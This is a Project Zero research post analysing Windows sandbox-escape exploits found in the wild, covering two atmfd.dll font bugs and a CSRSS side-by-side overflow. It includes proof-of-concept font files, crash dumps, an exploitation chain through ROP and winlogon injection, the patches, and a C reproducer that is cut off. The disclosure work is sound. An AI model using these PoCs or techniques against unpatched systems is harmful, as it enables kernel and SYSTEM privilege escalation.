5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#d9d9d9;border-left-style:solid;border-bottom-width:1pt;width:114pt;border-top-color:#000000;border-bottom-style:solid}.c10{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#d9ead3;border-left-style:solid;border-bottom-width:1pt;width:79.5pt;border-top-color:#000000;border-bottom-style:solid}.c47{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#f4cccc;border-left-style:solid;border-bottom-width:1pt;width:114pt;border-top-color:#000000;border-bottom-style:solid}.c49{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#000000;border-top-width:1pt;border-right-width:1pt;border-left-color:#000000;vertical-align:top;border-right-color:#000000;border-left-width:1pt;border-top-style:solid;background-color:#d9d9d9;border-left-style:solid;border-bottom-width:1pt;width:193.5pt;border-top-color:#000000;border-bottom-style:solid}.c25{border-right-style:solid;padding:5pt 5pt 5pt 5pt;border-bottom-color:#e0e0e0;border-top-width:1pt;border-right-width:1pt;border-left-color:#e0e0e0;vertical-align:top;border-right-color:#e0e0e0;border-left-width:1pt;border-top-style:solid;background-color:#fafafa;border-left-style:solid;border-bottom-width:1pt;width:468pt;border-top-color:#e0e0e0;border-bottom-style:solid}.c0{padding-top:18pt;padding-bottom:6pt;line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c32{padding-top:16pt;padding-bottom:4pt;line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:left}.c30{padding-top:0pt;padding-bottom:0pt;line-height:1.25;orphans:2;widows:2;text-align:left}.c6{padding-top:0pt;padding-bottom:0pt;line-height:1.15;orphans:2;widows:2;text-align:left}.c2{font-size:10pt;font-family:"Consolas";color:#000000;font-weight:400}.c26{text-decoration-skip-ink:none;-webkit-text-decoration-skip:none;color:#1155cc;text-decoration:underline}.c4{font-size:10pt;font-family:"Consolas";color:#616161;font-weight:400}.c18{padding-top:0pt;padding-bottom:0pt;line-height:1.0;text-align:left}.c16{color:#434343;font-weight:400;font-size:14pt;font-family:"Arial"}.c8{padding-top:0pt;padding-bottom:0pt;line-height:1.15;text-align:left}.c3{font-size:10pt;font-family:"Consolas";color:#3367d6;font-weight:400}.c1{font-size:10pt;font-family:"Consolas";color:#00796b;font-weight:400}.c17{border-spacing:0;border-collapse:collapse;margin-right:auto}.c13{color:#000000;font-weight:400;font-size:11pt;font-family:"Arial"}.c21{font-family:"Consolas";color:#9c27b0;font-weight:400}.c22{font-family:"Consolas";color:#0f9d58;font-weight:400}.c7{text-decoration:none;vertical-align:baseline;font-style:normal}.c50{font-family:"Consolas";color:#0d904f;font-weight:400}.c14{font-family:"Consolas";color:#455a64;font-weight:400}.c20{font-family:"Consolas";color:#c53929;font-weight:400}.c5{font-weight:400;font-family:"Courier New"}.c40{text-decoration:none;vertical-align:baseline}.c27{margin-left:36pt;padding-left:0pt}.c46{padding:0;margin:0}.c45{max-width:468pt;padding:72pt 72pt 72pt 72pt}.c43{font-weight:400;font-family:"Arial"}.c41{color:inherit;text-decoration:inherit}.c9{background-color:#ffe599}.c36{margin-left:36pt}.c28{font-style:italic}.c23{height:0pt}.c15{color:#000000}.c29{background-color:#ffffff}.c33{font-size:11pt}.c38{height:294.8pt}.c11{height:11pt}.c51{font-family:"Arial"}.c12{font-size:10pt}.c37{font-weight:700}.c35{color:#545454}.c39{height:216pt}.c31{height:24pt}.c19{background-color:#ea9999}.c44{font-size:16pt}.title{padding-top:0pt;color:#000000;font-size:26pt;padding-bottom:3pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}.subtitle{padding-top:0pt;color:#666666;font-size:15pt;padding-bottom:16pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}li{color:#000000;font-size:11pt;font-family:"Arial"}p{margin:0;color:#000000;font-size:11pt;font-family:"Arial"}h1{padding-top:20pt;color:#000000;font-size:20pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h2{padding-top:18pt;color:#000000;font-size:16pt;padding-bottom:6pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h3{padding-top:16pt;color:#434343;font-size:14pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h4{padding-top:14pt;color:#666666;font-size:12pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h5{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;orphans:2;widows:2;text-align:justify}h6{padding-top:12pt;color:#666666;font-size:11pt;padding-bottom:4pt;font-family:"Arial";line-height:1.15;page-break-after:avoid;font-style:italic;orphans:2;widows:2;text-align:justify}

This is part 6 of a 6-part series detailing a set of vulnerabilities found by Project Zero being exploited in the wild. To read the other parts of the series, see the introduction post.

Posted by Mateusz Jurczyk and Sergei Glazunov, Project Zero

In this post we'll discuss the exploits for vulnerabilities in Windows that have been used by the attacker to escape the Chrome renderer sandbox.

1. Font vulnerabilities on Windows ≤ 8.1 (CVE-2020-0938, CVE-2020-1020)Background

The Windows GDI interface supports an old format of fonts called Type 1, which was designed by Adobe around 1985 and was popular mostly in the 1990s and early 2000s. On Windows, these fonts are represented by a pair of .PFM (Printer Font Metric) and .PFB (Printer Font Binary) files, with the PFB being a mixture of a textual PostScript syntax and binary-encoded CharString instructions describing the shapes of glyphs. GDI also supports a little-known extension of Type 1 fonts called "Multiple Master Fonts", a feature that was never very popular, but adds significant complexity to the text rasterization logic and was historically a source of many software bugs (e.g. one in the blend operator).

On Windows 8.1 and earlier versions, the parsing of these fonts takes place in a kernel driver called atmfd.dll (accessible through win32k.sys graphical syscalls), and thus it is an attack surface that may be exploited for privilege escalation. On Windows 10, the code was moved to a restricted fontdrvhost.exe user-mode process and is a significantly less attractive target. This is why the exploit found in the wild had a separate sandbox escape path dedicated to Windows 10 (see section 2. "CVE-2020-1027"). Oddly enough, the font exploit had explicit support for Windows 8 and 8.1, even though these platforms offer the win32k disable policy that Chrome uses, so the affected code shouldn't be reachable from the renderer processes. The reason for this is not clear, and possible explanations include the same privesc exploit being used in attacks against different client software (not limited to Chrome), or it being developed before the win32k lockdown was enabled in Chrome by default (pre-2015).

Nevertheless, the following analysis is based on Windows 8.1 64-bit with the March 2020 patch, the latest affected version at the time of the exploit discovery.

Font bug #1

The first vulnerability was present in the processing of the /VToHOrigin PostScript object. I suspect that this object had only been defined in one of the early drafts of the Multiple Master extension, as it is very poorly documented today and hard to find any official information on. The "VToHOrigin" keyword handler function is found at offset 0x220B0 of atmfd.dll, and based on the fontdrvhost.exe public symbols, we know that its name is ParseBlendVToHOrigin. To understand the bug, let's have a look at the following pseudo code of the routine, with irrelevant parts edited out for clarity:

int ParseBlendVToHOrigin(void *arg) {

  Fixed16_16 *ptrs[2];

  Fixed16_16 values[2];

  for (int i = 0; i < g_font->numMasters; i++) {

    ptrs[i] = &g_font->SomeArray[arg->SomeField + i];


  for (int i = 0; i < 2; i++) {

    int values_read = GetOpenFixedArray(values, g_font->numMasters);

    if (values_read != g_font->numMasters) {

      return -8;


    for (int num = 0; num < g_font->numMasters; num++) {

      ptrs[num][i] = values[num];



  return 0;


In summary, the function initializes numMasters pointers on the stack, then reads the same-sized array of fixed point values from the input stream, and writes each of them to the corresponding pointer. The root cause of the problem was that numMasters might be set to any value between 0–16, but both the ptrs and values arrays were only 2 items long. This meant that with 3 or more masters specified in the font, accesses to ptrs[2] and values[2] and larger indexes corrupted memory on the stack. On the x64 build that I analyzed, the stack frame of the function was laid out as follows:


RSP + 0x30


RSP + 0x38


RSP + 0x40

saved RDI

RSP + 0x48

return address

RSP + 0x50

values[0 .. 1]

RSP + 0x58

saved RBX

RSP + 0x60

saved RSI


The green rows indicate the user-controlled local arrays, and the red ones mark internal control flow data that could be corrupted. Interestingly, the two arrays were separated by the saved RDI register and the return address, which was likely caused by a compiler optimization and the short length of values. A direct overflow of the return address is not very useful here, as it is always overwritten with a non-executable address. However, if we ignore it for now and continue with the stack corruption, the next pointer at ptrs[4] overlaps with controlled data in values[0] and values[1], and the code uses it to write the values[4] integer there. This is a classic write-what-where condition in the kernel.

After the first controlled write of a 32-bit value, the next iteration of the loop tries to write values[5] to an address made of ((values[3]<<32)|values[2]). This second write-what-where is what gives the attacker a way to safely escape the function. At this point, the return address is inevitably corrupted, and the only way to exit without crashing the kernel is through an access to invalid ring-3 memory. Such an exception is intercepted by a generic catch-all handler active throughout the font parsing performed by atmfd, and it safely returns execution back to the user-mode caller. This makes the vulnerability very reliable in exploitation, as the write-what-where primitive is quickly followed by a clean exit, without any undesired side effects taking place in between.

A proof-of-concept test case is easily crafted by taking any existing Type 1 font, and recompiling it (e.g. with the detype1 + type1 utilities as part of AFDKO) to add two extra objects to the .PFB file. A minimal sample in textual form is shown below:

~%!PS-AdobeFont-1.0: Test 001.001

dict begin

/FontInfo begin

/FullName (Test) def


/FontType 1 def

/FontMatrix [0.001 0 0 0.001 0 0] def

/WeightVector [0 0 0 0 0] def

/Private begin

/Blend begin

/VToHOrigin[[16705.25490 -0.00001 0 0 16962.25882]]



currentdict end

%currentfile eexec /Private begin

/CharStrings 1 begin

/.notdef ## -| { endchar } |-



mark %currentfile closefile


The first highlighted line sets numMasters to 5, and the second one triggers a write of 0x42424242 (represented as 16962.25882) to 0xffffffff41414141 (16705.25490 and -0.00001). A crash can be reproduced by making sure that the PFB and PFM files are in the same directory, and opening the PFM file in the default Windows Font Viewer program. You should then be able to observe the following bugcheck in the kernel debugger:


Invalid system memory was referenced.  This cannot be protected by try-except.

Typically the address is just plain bad or it is pointing at freed memory.


Arg1: ffffffff41414141, memory referenced.

Arg2: 0000000000000001, value 0 = read operation, 1 = write operation.

Arg3: fffff96000a86144, If non-zero, the instruction address which referenced the bad memory


Arg4: 0000000000000002, (reserved)


TRAP_FRAME:  ffffd000415eefa0 -- (.trap 0xffffd000415eefa0)

NOTE: The trap frame does not contain all registers.

Some register values may be zeroed or incorrect.

rax=0000000042424242 rbx=0000000000000000 rcx=ffffffff41414141

rdx=0000000000000005 rsi=0000000000000000 rdi=0000000000000000

rip=fffff96000a86144 rsp=ffffd000415ef130 rbp=0000000000000000

 r8=0000000000000000  r9=000000000000000e r10=0000000000000000

r11=00000000fffffffb r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

iopl=0         nv up ei pl nz na po cy


fffff96000a86144 890499          mov     dword ptr [rcx+rbx*4],eax ds:ffffffff41414141=????????

Resetting default scope

Font bug #2

The second issue was found in the processing of the /BlendDesignPositions object, which is defined in the Adobe Font Metrics File Format Specification document from 1998. Its handler is located at offset 0x21608 of atmfd.dll, and again using the fontdrvhost.exe symbols, we can learn that its internal name is SetBlendDesignPositions. Let's analyze the C-like pseudo code:

int SetBlendDesignPositions(void *arg) {

  int num_master;

  Fixed16_16 values[16][15];

  for (num_master = 0; ; num_master++) {

    if (GetToken() != TOKEN_OPEN) {



    int values_read = GetOpenFixedArray(&values[num_master], 15);




  for (int i = 0; i < num_master; i++) {

    procs->BlendDesignPositions(i, &values[i]);


  return 0;


The bug was simple. In the first for() loop, there was no upper bound enforced on the number of iterations, so one could read data into the arrays at &values[0], &values[1], ..., and then out-of-bounds at &values[16], &values[17] and so on. Most importantly, the GetOpenFixedArray function may read between 0 and 15 fixed point 32-bit values depending on the input file, so one could choose to write little or no data at specific offsets. This created a powerful non-continuous stack corruption primitive, which made it possible to easily redirect execution to a specific address or build a ROP chain directly on the stack. For example, the SetBlendDesignPositions function itself was compiled with a /GS cookie, but it was possible to overwrite another return address higher up the call chain to hijack the control flow.

To trigger the bug, it is sufficient to load a Type 1 font that includes a specially crafted /BlendDesignPositions object:

~%!PS-AdobeFont-1.0: Test 001.001

dict begin

/FontInfo begin

/FullName (Test) def


/FontType 1 def

/FontMatrix [0.001 0 0 0.001 0 0] def

/BlendDesignPositions [[][][][][][][][][][][][][][][][][][][][][][][0 0 0 0 16705.25490 -0.00001]]

/Private begin

/Blend begin



currentdict end

%currentfile eexec /Private begin

/CharStrings 1 begin

/.notdef ## -| { endchar } |-



mark %currentfile closefile


In the highlighted line, we first specify 22 empty arrays that don't corrupt any memory and only shift the index up to &values[22]. Then, we write the 32-bit values of 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x41414141, 0xfffffff to values[22][0..5]. On a vulnerable Windows 8.1, this coincides with the position of an unprotected return address higher on the stack. When such a font is loaded through GDI, the following kernel bugcheck is generated:


Invalid system memory was referenced.  This cannot be protected by try-except.

Typically the address is just plain bad or it is pointing at freed memory.


Arg1: ffffffff41414141, memory referenced.

Arg2: 0000000000000008, value 0 = read operation, 1 = write operation.

Arg3: ffffffff41414141, If non-zero, the instruction address which referenced the bad memory


Arg4: 0000000000000002, (reserved)


TRAP_FRAME:  ffffd0003e7ca140 -- (.trap 0xffffd0003e7ca140)

NOTE: The trap frame does not contain all registers.

Some register values may be zeroed or incorrect.

rax=0000000000000000 rbx=0000000000000000 rcx=aae4a99ec7250000

rdx=0000000000000027 rsi=0000000000000000 rdi=0000000000000000

rip=ffffffff41414141 rsp=ffffd0003e7ca2d0 rbp=0000000000000002

 r8=0000000000000618  r9=0000000000000024 r10=fffff90000002000

r11=ffffd0003e7ca270 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

iopl=0         nv up ei ng nz na po nc

ffffffff`41414141 ??              ???

Resetting default scope


According to our analysis, the font exploit supported the following Windows versions:

  • Windows 8.1 (NT 6.3)
  • Windows 8 (NT 6.2)
  • Windows 7 (NT 6.1)
  • Windows Vista (NT 6.0)

When run on systems up to and including Windows 8, the exploit started off by triggering the write-what-where condition (bug #1) twice, to set up a minimalistic 8-byte bootstrap code at a fixed address around 0xfffff90000000000. This location corresponds to the win32k.sys session space, and is mapped as RWX in these old versions of Windows, which means that KASLR didn't have to be bypassed as part of the attack. As the next step, the exploit used bug #2 to redirect execution to the first stage payload. Each of these actions was performed through a single NtGdiAddRemoteFontToDC system call, which can conveniently load Type 1 fonts from memory (as previously discussed here), and was enough to reach both vulnerabilities. In total, the privilege escalation process took only three syscalls.

Things get more complicated on Windows 8.1, where the session space is no longer executable:

0: kd> !pte fffff90000000000

PXE at FFFFF6FB7DBEDF90          

contains 0000000115879863    

pfn 115879    ---DA--KWEV    


contains 0000000115878863

pfn 115878    ---DA--KWEV

PDE at FFFFF6FB7E400000

contains 0000000115877863

pfn 115877    ---DA--KWEV

PTE at FFFFF6FC80000000

contains 8000000115976863

pfn 115976    ---DA--KW-V

As a result, the memory cannot be used so trivially as a staging area for the controlled kernel-mode code, but with a write-what-where primitive, there are many ways to work around it. In this specific exploit, the author switched from the session space to another page with a constant address – the shared user data region at 0xfffff78000000000. Notably, that page is not executable by default either, but thanks to the fixed location of page tables in Windows 8.1, it can be made executable with a single 32-bit write of value 0x0 to address 0xfffff6fbc0000004, which stores the relevant page table entry. This is what the exploit did – it disabled the NX bit in PTE, then wrote a 192-byte payload to the shared user page and executed it. This code path also performed some extra clean up, first by restoring the NX bit and then erasing traces of the attack from memory.

Once kernel execution reached the initial shellcode, a series of intermediary steps followed, each of them unpacking and jumping to a next, longer stage. Some code was encoded in the /FontMatrix PostScript object, some in the /FontBBox object, and even more directly in the font stream data. At this point, the exploit resolved the addresses of several exported symbols in ntoskrnl.exe, allocated RWX memory with a ExAllocatePoolWithTag(NonPagedPool) call, copied the final payload from the user-mode address space, and executed it. This is where we'll conclude our analysis, as the mechanics of the ring-0 shellcode are beyond the scope of this post.

The fixes

We reported the issues to Microsoft on March 17. Initially, they were subject to a 7-day deadline used by Project Zero for actively exploited vulnerabilities, but after receiving a request from the vendor, we agreed to provide an extension due to the global circumstances surrounding COVID-19. A security advisory was published by Microsoft on March 23, urging users to apply workarounds such as disabling the atmfd.dll font driver to mitigate the vulnerabilities. The fixes came out on April 14 as part of that month's Patch Tuesday, 28 days after our report.

Since both bugs were simple in nature, their fixes were equally simple too. In the ParseBlendVToHOrigin function, both ptrs and values arrays were extended to 16 entries, and an extra sanity check was added to ensure that numMasters wouldn't exceed 16:

int ParseBlendVToHOrigin(void *arg) {

  Fixed16_16 *ptrs[16];

  Fixed16_16 values[16];

  if (g_font->numMasters > 0x10) {

    return -4;




In the SetBlendDesignPositions function, an extra bounds check was introduced to limit the number of loop iterations to 16:

int SetBlendDesignPositions(void *arg) {

  int num_master;

  Fixed16_16 values[16][15];

  for (num_master = 0; ; num_master++) {

    if (GetToken() != TOKEN_OPEN) {



    if (num_master >= 16) {

      return -4;


    int values_read = GetOpenFixedArray(&values[num_master], 15);





2. CSRSS issue on Windows 10 (CVE-2020-1027)Background

The Client/Server Runtime Subsystem, or csrss.exe, is the user-mode part of the Win32 subsystem. Before Windows NT 4.0, CSRSS was in charge of the entire graphical user interface; nowadays, it implements tasks related to, for example, process and thread management.

csrss.exe is a user-mode process that runs with SYSTEM privileges. By default, every Win32 application opens a connection to CSRSS at startup. A significant number of API functions in Windows rely on the existence of the connection, so even the most restrictive application sandboxes, including the Chromium sandbox, can’t lock it down without causing stability problems. This makes CSRSS an appealing vector for privilege escalation attacks.

The communication with the subsystem server is performed via the ALPC mechanism, and the OS provides the high-level CSR API on top of it. The primary API function is called ntdll!CsrClientCallServer. It invokes a selected CSRSS routine and (optionally) receives the result:

NTSTATUS CsrClientCallServer(

    PCSR_API_MSG ApiMessage, 

    PVOID CaptureBuffer, 

    ULONG ApiNumber, 

    LONG DataLength);

The ApiNumber parameter determines which routine will be executed. ApiMessage is a pointer to a corresponding message object of size DataLength, and CaptureBuffer is a pointer to a buffer in a special shared memory region created during the connection initialization. CSRSS employs shared memory to transfer large and/or dynamically-sized structures, such as strings. ApiMessage can contain pointers to objects inside CaptureBuffer, and the API takes care of translating the pointers between the client and server virtual address spaces.

The reader can refer to this series of posts for a detailed description of the CSRSS internals.

One of CSRSS modules, sxssrv.dll, implements the support for side-by-side assemblies. Side-by-side assembly (SxS) technology is a standard for executable files that is primarily aimed at alleviating problems, such as version conflicts, arising from the use of dynamic-link libraries. In SxS, Windows stores multiple versions of a DLL and loads them on demand. An application can include a side-by-side manifest, i.e. a special XML document, to specify its exact dependencies. An example of an application manifest is provided below:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">

  <assemblyIdentity type="win32" name="Microsoft.Windows.MySampleApp"

      version="" processorArchitecture="x86"/>



      <assemblyIdentity type="win32" name="Microsoft.Tools.MyPrivateDll"

          version="" processorArchitecture="x86"/>




The bug

The vulnerability in question has been discovered in the routine sxssrv! BaseSrvSxsCreateActivationContext, which has the API number 0x10017. The function parses an application manifest and all its (potentially transitive) dependencies into a binary data structure called an activation context, and the current activation context determines the objects and libraries that need to be redirected to a specific implementation.

The relevant ApiMessage object contains several UNICODE_STRING parameters, such as the application name and assembly store path. UNICODE_STRING is a well-known mutable string structure with a separate field to keep the capacity (MaximumLength) of the backing store:

typedef struct _UNICODE_STRING {

  USHORT Length;

  USHORT MaximumLength;

  PWSTR  Buffer;


BaseSrvSxsCreateActivationContext starts with validating the string parameters:

for (i = 0; i < 6; ++i) {

  if (StringField = StringFields[i]) {

    Length = StringField->Length;

    if (Length && !StringField->Buffer ||

        Length > StringField->MaximumLength || Length & 1)

      return 0xC000000D;

    if (StringField->Buffer) {

      if (!CsrValidateMessageBuffer(ApiMessage, &StringField->Buffer,

                                    Length + 2, 1)) {

        DbgPrintEx(0x33, 0,

                   "SXS: Validation of message buffer 0x%lx failed.\n"

                   " Message:%p\n"

                   " String %p{Length:0x%x, MaximumLength:0x%x, Buffer:%p}\n",

                   i, ApiMessage, StringField, StringField->Length,

                   StringField->MaximumLength, StringField->Buffer);

        return 0xC000000D;


      CharCount = StringField->Length >> 1;

      if (StringField->Buffer[CharCount] &&

          StringField->Buffer[CharCount - 1])

        return 0xC000000D;




CsrValidateMessageBuffer is declared as follows:

BOOLEAN CsrValidateMessageBuffer(

    PCSR_API_MSG ApiMessage,

    PVOID* Buffer,

    ULONG ElementCount,

    ULONG ElementSize);

This function verifies that 1) the *Buffer pointer references data inside the associated capture buffer, 2) the expression *Buffer + ElementCount * ElementSize doesn’t cause an integer overflow, and 3) it doesn’t go past the end of the capture buffer.

As the reader can see, the buffer size for the validation is calculated based on the Length field rather than MaximumLength. This would be safe if the strings were only used as input parameters. Unfortunately, the string at offset 0x120 from the beginning of ApiMessage (we’ll be calling it ApplicationName) can also be re-used as an output parameter. The affected call stack looks as follows:









When BaseSrvSxsCreateActivationContextFromStructEx is called, it initializes an instance of the SXS_GENERATE_ACTIVATION_CONTEXT_PARAMETERS structure with the pointer to ApplicationName’s buffer and the unaudited MaximumLength value as the buffer size:

BufferCapacity = CreateCtxParams->ApplicationName.MaximumLength;

if (BufferCapacity) {

  GenActCtxParams.ApplicationNameCapacity = BufferCapacity >> 1;

  GenActCtxParams.ApplicationNameBuffer =


} else {

  GenActCtxParams.ApplicationNameCapacity = 60;

  StringBuffer = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, 120);

  if (!StringBuffer) {

    Status = 0xC0000017;

    goto error;


  GenActCtxParams.ApplicationNameBuffer = StringBuffer;


Then sxs!SxsGenerateActivationContext passes those values to ACTCTXGENCTX:

Context = (_ACTCTXGENCTX *)HeapAlloc(g_hHeap, 0, 0x10D8);

if (Context) {


} else {



  goto error;


if (GenActCtxParams->ApplicationNameBuffer &&

    GenActCtxParams->ApplicationNameCapacity) {

  Context->ApplicationNameBuffer = GenActCtxParams->ApplicationNameBuffer;

  Context->ApplicationNameCapacity = GenActCtxParams->ApplicationNameCapacity;


Ultimately, sxs!CNodeFactory::

XMLParser_Element_doc_assembly_assemblyIdentity calls memcpy that can go past the end of the capture buffer:

IdentityNameBuffer = 0;

IdentityNameLength = 0;


if (!SxspGetAssemblyIdentityAttributeValue(0, v11, &s_IdentityAttribute_name,


                                           &IdentityNameLength)) {

  CallSiteInfo = off_16506FA20;

  goto error;


if (IdentityNameLength &&

    IdentityNameLength < Context->ApplicationNameCapacity) {

  memcpy(Context->ApplicationNameBuffer, IdentityNameBuffer,

         2 * IdentityNameLength + 2);

  Context->ApplicationNameLength = IdentityNameLength;

} else {

  *Context->ApplicationNameBuffer = 0;

  Context->ApplicationNameLength = 0;


The source data for the memcpy call comes from the name parameter of the main assemblyIdentity node in the manifest.


Even though the vulnerability was present in older versions of Windows, the exploit only targets Windows 10. All major builds up to 18363 are supported.

As a result of the vulnerability, the attacker can call memcpy with fully controlled contents and size. This is one of the best initial primitives a memory corruption bug can provide, but there’s one potential issue. So far it seems like the bug allows the attacker to write data either past the end of the capture buffer in a shared memory region, which they can already write to from the sandboxed process, or past the end of the shared region, in which case it’s quite difficult to reliably make a “useful” allocation right next to the region. Luckily for the attacker, the vulnerable code actually operates on a copy of the original capture buffer, which is made by csrsrv!CsrCaptureArguments to avoid potential issues caused by concurrent modification of the buffer contents, and the copy is allocated in the regular heap.

The logical first step of the exploit would be to leak some data needed for an ASLR bypass. However, the following design quirks in Windows and CSRSS make it unnecessary:

  • Windows randomizes module addresses once per boot, and csrss.exe is a regular user-mode process. This means that the attacker can use modules loaded in both csrss.exe and the compromised sandboxed process, for example, ntdll.dll, for code-reuse attacks.

  • csrss.exe provides client processes with its virtual address of the shared region during initialization so they can adjust pointers for API calls. The offset between the “local” and “remote” addresses is stored in ntdll!CsrPortMemoryRemoteDelta. Thus, the attacker can store, e.g., fake structures needed for the attack in the shared mapping at a predictable address.

The exploit also has to bypass another security feature, Microsoft’s Control Flow Guard, which makes it significantly more difficult to jump into a code reuse gadget chain via an indirect function call. The attacker has decided to exploit the CFG’s inability to protect return addresses on the stack to gain control of the instruction pointer. The complete algorithm looks as follows:

1. Groom the heap. The exploit makes a preliminary CreateActivationContext call with a specially crafted manifest needed to massage the heap into a predictable state. It contains an XML node with numerous attributes in the form aa:aabN="BB...BB”. The manifest for the second call, which actually triggers the vulnerability, contains similar but different-sized attributes.

2. Implement write-what-where. The buffer overflow is used to overwrite the contents of XMLParser::_MY_XML_NODE_INFO nodes. _MY_XML_NODE_INFO may optionally contain a pointer to an internal character buffer. During subsequent parsing, if the current element is a numeric character entity (i.e. a string in the form &#x01234;), the parser calls XMLParser::CopyText to store the decoded character in the internal buffer of the currently active _MY_XML_NODE_INFO node. Therefore, by overwriting multiple nodes, the exploit can write data of any size to a controlled address.

3. Overwrite the loaded module list. The primitive gained in the previous step is used to modify the pointer to the loaded module list located in the PEB_LDR_DATA structure inside ntdll.dll, which is possible because the attacker has already obtained the base address of the library from the sandboxed process. The fake module list consists of numerous LDR_MODULE entries and is stored in the shared memory region. The unofficial definition of the structure is shown below:

typedef struct _LDR_MODULE {

  LIST_ENTRY InLoadOrderModuleList;

  LIST_ENTRY InMemoryOrderModuleList;

  LIST_ENTRY InInitializationOrderModuleList;

  PVOID BaseAddress;

  PVOID EntryPoint;

  ULONG SizeOfImage;



  ULONG Flags;

  SHORT LoadCount;

  SHORT TlsIndex;

  LIST_ENTRY HashTableEntry;

  ULONG TimeDateStamp;


When a new thread is created, the ntdll!LdrpInitializeThread function will follow the module list and, provided that the necessary flags are set, run the function referenced by the EntryPoint member with BaseAddress as the first argument. The EntryPoint call is still protected by the CFG, so the exploit can’t jump to a ROP chain yet. However, this gives the attacker the ability to execute an arbitrary sequence of one-argument function calls.

4. Launch a new thread. The exploit deliberately causes a null pointer dereference. The exception handler in csrss.exe catches it and creates an error-reporting task in a new thread via csrsrv!CsrReportToWerSvc.

5. Restore the module list. Once the execution reaches the fake module list processing, it’s important to restore PEB_LDR_DATA’s original state to avoid crashes in other threads. The attacker has discovered that a pair of ntdll!RtlPopFrame and ntdll!RtlPushFrame calls can be used to copy an 8-byte value from one given address to another. The fake module list starts with such a pair to fix the loader data structure.

6. Leak the stack register. In this step the exploit takes full advantage of the shared memory region. First, it calls setjmp to leak the register state into the shared region. The next module entry points to itself, so the execution enters an infinite loop of NtYieldExecution calls. In the meantime, the sandboxed process detects that the data in the setjmp buffer has been modified. It calculates the return address location for the LdrpInitializeThread stack frame, sets it as the destination address for a subsequent copy operation, and modifies the InLoadOrderModuleList pointer of the current module entry, thus breaking the loop.

7. Overwrite the return address. After the exploit exits the loop in csrss.exe, it performs two more copy operations: overwrites the return address with a stack pivot pointer, and puts the fake stack address next to it. Then, when LdrpInitializeThread returns, the execution continues in the ROP chain.

8. Transition to winlogon.exe. The ROP payload creates a new memory section and shares it with both winlogon.exe, which is another highly-privileged Windows process, and the sandboxed process. Then it creates a new thread in winlogon.exe using an address inside the section as the entry point. The sandboxed process writes the final stage of the exploit to the section, which downloads and executes an implant. The rest of the ROP payload is needed to restore the normal state of csrss.exe and terminate the error reporting thread.

The fix

We reported the issue to Microsoft on March 23. Similarly to the font bugs, it was subject to a 7-day deadline used by Project Zero for actively exploited vulnerabilities, but after receiving a request from the vendor, we agreed to provide an extension due to the global circumstances surrounding COVID-19. The fix came out 22 days after our report.

The patch renamed BaseSrvSxsCreateActivationContext into BaseSrvSxsCreateActivationContextFromMessage and added an extra CsrValidateMessageBuffer call for the ApplicationName field, this time with MaximumLength as the size argument:

ApplicationName = ApiMessage->CreateActivationContext.ApplicationName;

if (ApplicationName.MaximumLength &&

    !CsrValidateMessageBuffer(ApiMessage, &ApplicationName.Buffer,

                              ApplicationName.MaximumLength, 1)) {

  SavedMaximumLength = ApplicationName.MaximumLength;

  ApplicationName.MaximumLength = ApplicationName.Length + 2;



if (SavedMaximumLength)

  ApiMessage->CreateActivationContext.ApplicationName.MaximumLength =


return result;

Appendix A

The following reproducer has been tested on Windows 10.0.18363.959.

#include <stdint.h>

#include <stdio.h>

#include <windows.h>

#include <string>


    "<?xml version='1.0' encoding='UTF-8' standalone='yes'?>"

    "<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>"

    "<assemblyIdentity name='@' version='' type='win32' "



const WCHAR* NULL_BYTE_STR = L"\x00\x00";




const WCHAR* PATH = L"\\\\.\\c:Windows\\";

const WCHAR* MODULE = L"System.Data.SqlXml.Resources";

typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,

                                                     ULONG BufferSize);

f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;

typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,

                                                   PVOID CaptureBuffer,

                                                   ULONG ApiNumber,

                                                   ULONG DataLength);

f_CsrClientCallServer CsrClientCallServer;

typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,

                                                       PCSTR String,

                                                       ULONG Length,

                                                       ULONG MaximumLength,

                                                       PSTR OutputString);

f_CsrCaptureMessageString CsrCaptureMessageString;

NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,

                              PCWSTR String, ULONG Length = 0) {

  if (Length == 0) {

    Length = lstrlenW(String);


  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,

                                 Length * 2 + 2, OutputString);


int main() {

  HMODULE Ntdll = LoadLibrary(L"Ntdll.dll");

